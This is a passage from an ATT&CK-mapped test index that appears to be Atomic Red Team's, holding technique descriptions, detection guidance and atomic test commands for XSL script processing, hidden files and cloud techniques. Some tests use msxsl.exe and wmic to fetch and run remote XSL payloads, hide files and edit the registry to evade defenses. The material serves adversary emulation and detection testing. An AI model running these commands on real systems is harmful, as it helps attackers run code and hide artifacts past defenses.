      x_mitre_detection: |-
        Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: LOLBAS Wmic) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded.

        The presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.
      kill_chain_phases:
      - phase_name: defense-evasion
        kill_chain_name: mitre-attack
      x_mitre_is_subtechnique: false
      x_mitre_data_sources:
      - 'Module: Module Load'
      - 'Process: Process Creation'
      x_mitre_system_requirements:
      - Microsoft Core XML Services (MSXML) or access to wmic.exe
      x_mitre_defense_bypassed:
      - Anti-virus
      - Digital Certificate Validation
      - Application Control
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1220
    atomic_tests:
    - name: MSXSL Bypass using local files
      auto_generated_guid: ca23bfb2-023f-49c5-8802-e66997de462d
      description: "Executes the code specified within a XSL script tag during XSL
        transformation using a local payload. \nRequires download of MSXSL. No longer
        available from Microsoft.\n(Available via Internet Archive https://web.archive.org/web/20200825011623/https://www.microsoft.com/en-us/download/details.aspx?id=21714
        ) \nOpen Calculator.exe when test successfully executed, while AV turned off.\n"
      supported_platforms:
      - windows
      input_arguments:
        xmlfile:
          description: Location of the test XML file on the local filesystem.
          type: path
          default: PathToAtomicsFolder\T1220\src\msxslxmlfile.xml
        xslfile:
          description: Location of the test XSL script file on the local filesystem.
          type: path
          default: PathToAtomicsFolder\T1220\src\msxslscript.xsl
        msxsl_exe:
          description: Location of the MSXSL executable.
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\msxsl.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'XML file must exist on disk at specified location (#{xmlfile})

          '
        prereq_command: 'if (Test-Path "#{xmlfile}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{xmlfile}") -ErrorAction Ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1220/src/msxslxmlfile.xml" -OutFile "#{xmlfile}"
      - description: 'XSL file must exist on disk at specified location (#{xslfile})

          '
        prereq_command: 'if (Test-Path "#{xslfile}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{xslfile}") -ErrorAction Ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1220/src/msxslscript.xsl" -OutFile "#{xslfile}"
      - description: 'msxsl.exe must exist on disk at specified location (#{msxsl_exe})

          '
        prereq_command: 'if (Test-Path "#{msxsl_exe}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://web.archive.org/web/20200803205229if_/https://download.microsoft.com/download/f/2/6/f263ac46-1fe9-4ae9-8fd3-21102100ebf5/msxsl.exe" -OutFile "#{msxsl_exe}"
      executor:
        command: '"#{msxsl_exe}" "#{xmlfile}" "#{xslfile}"

          '
        cleanup_command: 'del "#{msxsl_exe}" >nul 2>&1

          '
        name: command_prompt
    - name: MSXSL Bypass using remote files
      auto_generated_guid: a7c3ab07-52fb-49c8-ab6d-e9c6d4a0a985
      description: |
        Executes the code specified within a XSL script tag during XSL transformation using a remote payload.
        Requires download of MSXSL.exe. No longer available from Microsoft.
        (Available via Internet Archive https://web.archive.org/web/20200825011623/https://www.microsoft.com/en-us/download/details.aspx?id=21714 )
        Open Calculator.exe when test successfully executed, while AV turned off.
      supported_platforms:
      - windows
      input_arguments:
        xmlfile:
          description: Remote location (URL) of the test XML file.
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslxmlfile.xml
        xslfile:
          description: Remote location (URL) of the test XSL script file.
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslscript.xsl
        msxsl_exe:
          description: Location of the MSXSL executable.
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\msxsl.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'msxsl.exe must exist on disk at specified location ("#{msxsl_exe}")

          '
        prereq_command: 'if (Test-Path "#{msxsl_exe}") {exit 0} else {exit 1}

          '
        get_prereq_command: 'Invoke-WebRequest "https://web.archive.org/web/20200803205229if_/https://download.microsoft.com/download/f/2/6/f263ac46-1fe9-4ae9-8fd3-21102100ebf5/msxsl.exe"
          -OutFile "#{msxsl_exe}"

          '
      executor:
        command: '"#{msxsl_exe}" "#{xmlfile}" "#{xslfile}"

          '
        cleanup_command: 'del -Path #{msxsl_exe} >nul 2>&1

          '
        name: command_prompt
    - name: WMIC bypass using local XSL file
      auto_generated_guid: 1b237334-3e21-4a0c-8178-b8c996124988
      description: 'Executes the code specified within a XSL script using a local
        payload.

        '
      supported_platforms:
      - windows
      input_arguments:
        wmic_command:
          description: WMI command to execute using wmic.exe
          type: string
          default: process list
        local_xsl_file:
          description: Location of the test XSL script file on the local filesystem.
          type: path
          default: PathToAtomicsFolder\T1220\src\wmicscript.xsl
      dependency_executor_name: powershell
      dependencies:
      - description: 'XSL file must exist on disk at specified location (#{local_xsl_file})

          '
        prereq_command: 'if (Test-Path "#{local_xsl_file}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{local_xsl_file}") -ErrorAction Ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1220/src/wmicscript.xsl" -OutFile "#{local_xsl_file}"
      executor:
        command: 'wmic #{wmic_command} /FORMAT:"#{local_xsl_file}"

          '
        name: command_prompt
    - name: WMIC bypass using remote XSL file
      auto_generated_guid: 7f5be499-33be-4129-a560-66021f379b9b
      description: 'Executes the code specified within a XSL script using a remote
        payload. Open Calculator.exe when test successfully executed, while AV turned
        off.

        '
      supported_platforms:
      - windows
      input_arguments:
        remote_xsl_file:
          description: Remote location of an XSL payload.
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmicscript.xsl
        wmic_command:
          description: WMI command to execute using wmic.exe
          type: string
          default: process list
      executor:
        command: 'wmic #{wmic_command} /FORMAT:"#{remote_xsl_file}"

          '
        name: command_prompt
  T1564.001:
    technique:
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d
      type: attack-pattern
      created: '2020-02-26T17:46:13.128Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1564.001
        url: https://attack.mitre.org/techniques/T1564/001
      - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
        description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26).
          Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.
        source_name: Sofacy Komplex Trojan
      - url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
        description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated
          code. Retrieved July 5, 2017.
        source_name: Antiquated Mac Malware
      - url: https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf
        description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware.
          Retrieved July 10, 2017.'
        source_name: WireLurker
      modified: '2021-04-29T14:49:39.188Z'
      name: 'Hide Artifacts: Hidden Files and Directories'
      description: |-
        Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls –a</code> for Linux and macOS).

        On Linux and Mac, users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name  (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable.

        Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.

        Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: Monitor the file system and shell commands for files being
        created with a leading "." and the Windows command-line use of attrib.exe
        to add the hidden attribute.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'File: File Creation'
      - 'File: File Metadata'
      - 'Command: Command Execution'
      x_mitre_defense_bypassed:
      - Host forensic analysis
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1564.001
    atomic_tests:
    - name: Create a hidden file in a hidden directory
      auto_generated_guid: 61a782e5-9a19-40b5-8ba4-69a4b9f3d7be
      description: 'Creates a hidden file inside a hidden directory

        '
      supported_platforms:
      - linux
      - macos
      executor:
        command: |
          mkdir /var/tmp/.hidden-directory
          echo "T1564.001" > /var/tmp/.hidden-directory/.hidden-file
        cleanup_command: 'rm -rf /var/tmp/.hidden-directory/

          '
        name: sh
    - name: Mac Hidden file
      auto_generated_guid: cddb9098-3b47-4e01-9d3b-6f5f323288a9
      description: 'Hide a file on MacOS

        '
      supported_platforms:
      - macos
      executor:
        command: 'xattr -lr * / 2>&1 /dev/null | grep -C 2 "00 00 00 00 00 00 00 00
          40 00 FF FF FF FF 00 00"

          '
        name: sh
    - name: Create Windows System File with Attrib
      auto_generated_guid: f70974c8-c094-4574-b542-2c545af95a32
      description: |
        Creates a file and marks it as a system file using the attrib.exe utility. Upon execution, open the file in file explorer then open Properties > Details
        and observe that the Attributes are "SA" for System and Archive.
      supported_platforms:
      - windows
      input_arguments:
        file_to_modify:
          description: File to modify using Attrib command
          type: string
          default: "%temp%\\T1564.001.txt"
      dependency_executor_name: command_prompt
      dependencies:
      - description: 'The file must exist on disk at specified location (#{file_to_modify})

          '
        prereq_command: 'IF EXIST #{file_to_modify} ( EXIT 0 ) ELSE ( EXIT 1 )

          '
        get_prereq_command: 'echo system_Attrib_T1564.001 >> #{file_to_modify}

          '
      executor:
        command: 'attrib.exe +s #{file_to_modify}

          '
        cleanup_command: 'del /A:S #{file_to_modify} >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Create Windows Hidden File with Attrib
      auto_generated_guid: dadb792e-4358-4d8d-9207-b771faa0daa5
      description: |
        Creates a file and marks it as hidden using the attrib.exe utility.Upon execution, open File Epxplorer and enable View > Hidden Items. Then, open Properties > Details on the file
        and observe that the Attributes are "SH" for System and Hidden.
      supported_platforms:
      - windows
      input_arguments:
        file_to_modify:
          description: File to modify using Attrib command
          type: string
          default: "%temp%\\T1564.001.txt"
      dependency_executor_name: command_prompt
      dependencies:
      - description: 'The file must exist on disk at specified location (#{file_to_modify})

          '
        prereq_command: 'IF EXIST #{file_to_modify} ( EXIT 0 ) ELSE ( EXIT 1 )

          '
        get_prereq_command: 'echo system_Attrib_T1564.001 >> #{file_to_modify}

          '
      executor:
        command: 'attrib.exe +h #{file_to_modify}

          '
        cleanup_command: 'del /A:H #{file_to_modify} >nul 2>&1

          '
        name: command_prompt
        elevation_required: true
    - name: Hidden files
      auto_generated_guid: 3b7015f2-3144-4205-b799-b05580621379
      description: 'Requires Apple Dev Tools

        '
      supported_platforms:
      - macos
      input_arguments:
        filename:
          description: path of file to hide
          type: path
          default: "/tmp/evil"
      executor:
        command: 'setfile -a V #{filename}

          '
        name: sh
    - name: Hide a Directory
      auto_generated_guid: b115ecaf-3b24-4ed2-aefe-2fcb9db913d3
      description: 'Hide a directory on MacOS

        '
      supported_platforms:
      - macos
      executor:
        command: |
          touch /var/tmp/T1564.001_mac.txt
          chflags hidden /var/tmp/T1564.001_mac.txt
        cleanup_command: 'rm /var/tmp/T1564.001_mac.txt

          '
        name: sh
    - name: Show all hidden files
      auto_generated_guid: 9a1ec7da-b892-449f-ad68-67066d04380c
      description: 'Show all hidden files on MacOS

        '
      supported_platforms:
      - macos
      executor:
        command: 'defaults write com.apple.finder AppleShowAllFiles YES

          '
        cleanup_command: 'defaults write com.apple.finder AppleShowAllFiles NO

          '
        name: sh
    - name: Hide Files Through Registry
      auto_generated_guid: f650456b-bd49-4bc1-ae9d-271b5b9581e7
      description: "Disable Show Hidden files switch in registry. This technique was
        abused by several malware to hide their files from normal user.\nSee how this
        trojan abuses this technique - https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/W32~Tiotua-P/detailed-analysis.aspx
        \n"
      supported_platforms:
      - windows
      executor:
        command: |
          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowSuperHidden /t REG_DWORD /d 0 /f
          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 0 /f
        cleanup_command: |
          reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /f >nul 2>&1
          reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v Hidden /f >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: Create Windows Hidden File with powershell
      auto_generated_guid: 7f66d539-4fbe-4cfa-9a56-4a2bf660c58a
      description: |
        Creates a file and marks it as hidden through powershell. Upon execution, open File Epxplorer and enable View > Hidden Items. Then, open Properties > Details on the file
        and observe that the Attributes is "H" Hidden.
      supported_platforms:
      - windows
      input_arguments:
        file_to_modify:
          description: File to modify
          type: string
          default: "%temp%\\T1564.001-9.txt"
      dependency_executor_name: command_prompt
      dependencies:
      - description: 'The file must exist on disk at specified location (#{file_to_modify})

          '
        prereq_command: 'IF EXIST #{file_to_modify} ( EXIT 0 ) ELSE ( EXIT 1 )

          '
        get_prereq_command: 'echo system_Attrib_T1564.001-9 >> #{file_to_modify}

          '
      executor:
        command: |
          $file = Get-Item $env:temp\T1564.001-9.txt -Force
          $file.attributes='Hidden'
        cleanup_command: 'cmd /c ''del /A:H #{file_to_modify} >nul 2>&1''

          '
        name: powershell
        elevation_required: true
    - name: Create Windows System File with powershell
      auto_generated_guid: d380c318-0b34-45cb-9dad-828c11891e43
      description: |
        Creates a file and marks it as System through powershell. Upon execution, open File Epxplorer and enable View > Hidden Items. Then, open Properties > Details on the file
        and observe that the Attributes is "S" System.
      supported_platforms:
      - windows
      input_arguments:
        file_to_modify:
          description: File to modify
          type: string
          default: "%temp%\\T1564.001-10.txt"
      dependency_executor_name: command_prompt
      dependencies:
      - description: 'The file must exist on disk at specified location (#{file_to_modify})

          '
        prereq_command: 'IF EXIST #{file_to_modify} ( EXIT 0 ) ELSE ( EXIT 1 )

          '
        get_prereq_command: 'echo system_Attrib_T1564.001-10 >> #{file_to_modify}

          '
      executor:
        command: |
          $file = Get-Item $env:temp\T1564.001-10.txt -Force
          $file.attributes='System'
        cleanup_command: 'cmd /c ''del /A:H #{file_to_modify} >nul 2>&1''

          '
        name: powershell
        elevation_required: true
  T1578.001:
    technique:
      x_mitre_platforms:
      - IaaS
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Praetorian
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1
      type: attack-pattern
      created: '2020-06-09T15:33:13.563Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1578.001
        url: https://attack.mitre.org/techniques/T1578/001
      - source_name: Mandiant M-Trends 2020
        url: https://content.fireeye.com/m-trends/rpt-m-trends-2020
        description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24,
          2020.
      - source_name: AWS Cloud Trail Backup API
        url: https://docs.aws.amazon.com/aws-backup/latest/devguide/logging-using-cloudtrail.html
        description: Amazon. (2020). Logging AWS Backup API Calls with AWS CloudTrail.
          Retrieved April 27, 2020.
      - source_name: Azure - Monitor Logs
        url: https://docs.microsoft.com/en-us/azure/backup/backup-azure-monitoring-use-azuremonitor
        description: Microsoft. (2019, June 4). Monitor at scale by using Azure Monitor.
          Retrieved May 1, 2020.
      - source_name: Cloud Audit Logs
        url: https://cloud.google.com/logging/docs/audit#admin-activity
        description: Google. (n.d.). Audit Logs. Retrieved June 1, 2020.
      - source_name: GCP - Creating and Starting a VM
        url: https://cloud.google.com/compute/docs/instances/create-start-instance#api_2
        description: Google. (2020, April 23). Creating and Starting a VM instance.
          Retrieved May 1, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: Create Snapshot
      description: |-
        An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.

        An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_detection: |-
        The creation of a snapshot is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities such as the creation of one or more snapshots and the restoration of these snapshots by a new user account.

        In AWS, CloudTrail logs capture the creation of snapshots and all API calls for AWS Backup as events. Using the information collected by CloudTrail, you can determine the request that was made, the IP address from which the request was made, which user made the request, when it was made, and additional details.(Citation: AWS Cloud Trail Backup API).

        In Azure, the creation of a snapshot may be captured in Azure activity logs. Backup restoration events can also be detected through Azure Monitor Log Data by creating a custom alert for completed restore jobs.(Citation: Azure - Monitor Logs)

        Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of the <code>gcloud compute instances create</code> command to create a new VM disk from a snapshot.(Citation: Cloud Audit Logs) It is also possible to detect the usage of the GCP API with the <code>"sourceSnapshot":</code> parameter pointed to <code>"global/snapshots/[BOOT_SNAPSHOT_NAME]</code>.(Citation: GCP - Creating and Starting a VM)
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Snapshot: Snapshot Creation'
      - 'Snapshot: Snapshot Metadata'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1550.001:
    technique:
      modified: '2024-04-12T21:18:28.848Z'
      name: Application Access Token
      description: "Adversaries may use stolen application access tokens to bypass
        the typical authentication process and access restricted accounts, information,
        or services on remote systems. These tokens are typically stolen from users
        or services and used in lieu of login credentials.\n\nApplication access tokens
        are used to make authorized API requests on behalf of a user or service and
        are commonly used to access resources in cloud, container-based applications,
        and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always
        Use Access Tokens to Secure APIs Sept 2019) \n\nOAuth is one commonly implemented
        framework that issues tokens to users for access to systems. These frameworks
        are used collaboratively to verify the user and determine what actions the
        user is allowed to perform. Once identity is established, the token allows
        actions to be authorized, without passing the actual credentials of the user.
        Therefore, compromise of the token can grant the adversary access to resources
        of other sites through a malicious application.(Citation: okta)\n\nFor example,
        with a cloud-based email service, once an OAuth access token is granted to
        a malicious application, it can potentially gain long-term access to features
        of the user account if a \"refresh\" token enabling background access is awarded.(Citation:
        Microsoft Identity Platform Access 2019) With an OAuth access token an adversary
        can use the user-granted REST API to perform functions such as email searching
        and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised
        access tokens may be used as an initial step in compromising other services.
        For example, if a token grants access to a victim’s primary email, the adversary
        may be able to extend access to all other services which the target subscribes
        by triggering forgotten password routines. In AWS and GCP environments, adversaries
        can trigger a request for a short-lived access token with the privileges of
        another user account.(Citation: Google Cloud Service Account Credentials)(Citation:
        AWS Temporary Security Credentials) The adversary can then use this token
        to request data or perform actions the original account could not. If permissions
        for this feature are misconfigured – for example, by allowing all users to
        request a token for a particular account - an adversary may be able to gain
        initial access to a Cloud Account or escalate their privileges.(Citation:
        Rhino Security Labs Enumerating AWS Roles)\n\nDirect API access through a
        token negates the effectiveness of a second authentication factor and may
        be immune to intuitive countermeasures like changing passwords.  For example,
        in AWS environments, an adversary who compromises a user’s AWS API credentials
        may be able to use the `sts:GetFederationToken` API call to create a federated
        user session, which will have the same permissions as the original user but
        may persist even if the original user credentials are deactivated.(Citation:
        Crowdstrike AWS User Federation Persistence) Additionally, access abuse over
        an API channel can be difficult to detect even from the service provider end,
        as the access can still align well with a legitimate workflow."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: lateral-movement
      x_mitre_contributors:
      - Shailesh Tiwary (Indian Army)
      - Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)
      - Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)
      - Mark Wee
      - Ian Davila, Tidal Cyber
      - Dylan Silva, AWS Security
      - Jack Burns, HubSpot
      - Blake Strom, Microsoft Threat Intelligence
      x_mitre_deprecated: false
      x_mitre_detection: 'Monitor access token activity for abnormal use and permissions
        granted to unusual or suspicious applications and APIs. Additionally, administrators
        should review logs for calls to the AWS Security Token Service (STS) and usage
        of GCP service accounts in order to identify anomalous actions.(Citation:
        AWS Logging IAM Calls)(Citation: GCP Monitoring Service Account Usage)'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Office 365
      - SaaS
      - Google Workspace
      - Containers
      - IaaS
      - Azure AD
      x_mitre_version: '1.6'
      x_mitre_data_sources:
      - 'Web Credential: Web Credential Usage'
      x_mitre_defense_bypassed:
      - System Access Controls
      type: attack-pattern
      id: attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51
      created: '2020-01-30T17:37:22.261Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1550/001
        external_id: T1550.001
      - source_name: Crowdstrike AWS User Federation Persistence
        description: " Vaishnav Murthy and Joel Eng. (2023, January 30). How Adversaries
          Can Persist with AWS User Federation. Retrieved March 10, 2023."
        url: https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/
      - source_name: Auth0 - Why You Should Always Use Access Tokens to Secure APIs
          Sept 2019
        description: Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure
          APIs. Retrieved September 12, 2019.
        url: https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/
      - source_name: AWS Logging IAM Calls
        description: AWS. (n.d.). Logging IAM and AWS STS API calls with AWS CloudTrail.
          Retrieved April 1, 2022.
        url: https://docs.aws.amazon.com/IAM/latest/UserGuide/cloudtrail-integration.html
      - source_name: AWS Temporary Security Credentials
        description: AWS. (n.d.). Requesting temporary security credentials. Retrieved
          April 1, 2022.
        url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html
      - source_name: Microsoft Identity Platform Access 2019
        description: Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27).
          Microsoft identity platform access tokens. Retrieved October 4, 2019.
        url: https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens
      - source_name: Google Cloud Service Account Credentials
        description: Google Cloud. (2022, March 31). Creating short-lived service
          account credentials. Retrieved April 1, 2022.
        url: https://cloud.google.com/iam/docs/creating-short-lived-service-account-credentials
      - source_name: GCP Monitoring Service Account Usage
        description: Google Cloud. (2022, March 31). Monitor usage patterns for service
          accounts and keys . Retrieved April 1, 2022.
        url: https://cloud.google.com/iam/docs/service-account-monitoring
      - source_name: okta
        description: okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved
          September 12, 2019.
        url: https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen
      - source_name: Rhino Security Labs Enumerating AWS Roles
        description: 'Spencer Gietzen. (2018, August 8). Assume the Worst: Enumerating
          AWS Roles through ‘AssumeRole’. Retrieved April 1, 2022.'
        url: https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration
      - source_name: Staaldraad Phishing with OAuth 2017
        description: Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure.
          Retrieved October 4, 2019.
        url: https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1078.004:
    technique:
      modified: '2024-03-29T15:42:13.499Z'
      name: 'Valid Accounts: Cloud Accounts'
      description: "Valid accounts in cloud environments may allow adversaries to
        perform actions to achieve Initial Access, Persistence, Privilege Escalation,
        or Defense Evasion. Cloud accounts are those created and configured by an
        organization for use by users, remote support, services, or for administration
        of resources within a cloud service provider or SaaS application. Cloud Accounts
        can exist solely in the cloud; alternatively, they may be hybrid-joined between
        on-premises systems and the cloud through syncing or federation with other
        identity sources such as Windows Active Directory. (Citation: AWS Identity
        Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying
        AD Federation)\n\nService or user accounts may be targeted by adversaries
        through [Brute Force](https://attack.mitre.org/techniques/T1110), [Phishing](https://attack.mitre.org/techniques/T1566),
        or various other means to gain access to the environment. Federated or synced
        accounts may be a pathway for the adversary to affect both on-premises systems
        and cloud environments - for example, by leveraging shared credentials to
        log onto [Remote Services](https://attack.mitre.org/techniques/T1021). High
        privileged cloud accounts, whether federated, synced, or cloud-only, may also
        allow pivoting to on-premises environments by leveraging SaaS-based [Software
        Deployment Tools](https://attack.mitre.org/techniques/T1072) to run commands
        on hybrid-joined devices.\n\nAn adversary may create long lasting [Additional
        Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) on a compromised
        cloud account to maintain persistence in the environment. Such credentials
        may also be used to bypass security controls such as multi-factor authentication.
        \n\nCloud accounts may also be able to assume [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005)
        or other privileges through various means within the environment. Misconfigurations
        in role assignments or role assumption policies may allow an adversary to
        use these mechanisms to leverage permissions outside the intended scope of
        the account. Such over privileged accounts may be used to harvest sensitive
        data from online storage accounts and databases through [Cloud API](https://attack.mitre.org/techniques/T1059/009)
        or other methods. \n"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_contributors:
      - Jon Sternstein, Stern Security
      x_mitre_deprecated: false
      x_mitre_detection: Monitor the activity of cloud accounts to detect abnormal
        or malicious behavior, such as accessing information outside of the normal
        function of the account or account usage at atypical hours.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Google Workspace
      x_mitre_version: '1.7'
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Metadata'
      - 'Logon Session: Logon Session Creation'
      x_mitre_permissions_required:
      - User
      - Administrator
      type: attack-pattern
      id: attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65
      created: '2020-03-13T20:36:57.378Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1078/004
        external_id: T1078.004
      - source_name: AWS Identity Federation
        description: Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13,
          2020.
        url: https://aws.amazon.com/identity/federation/
      - source_name: Google Federating GC
        description: Google. (n.d.). Federating Google Cloud with Active Directory.
          Retrieved March 13, 2020.
        url: https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction
      - source_name: Microsoft Deploying AD Federation
        description: Microsoft. (n.d.). Deploying Active Directory Federation Services
          in Azure. Retrieved March 13, 2020.
        url: https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
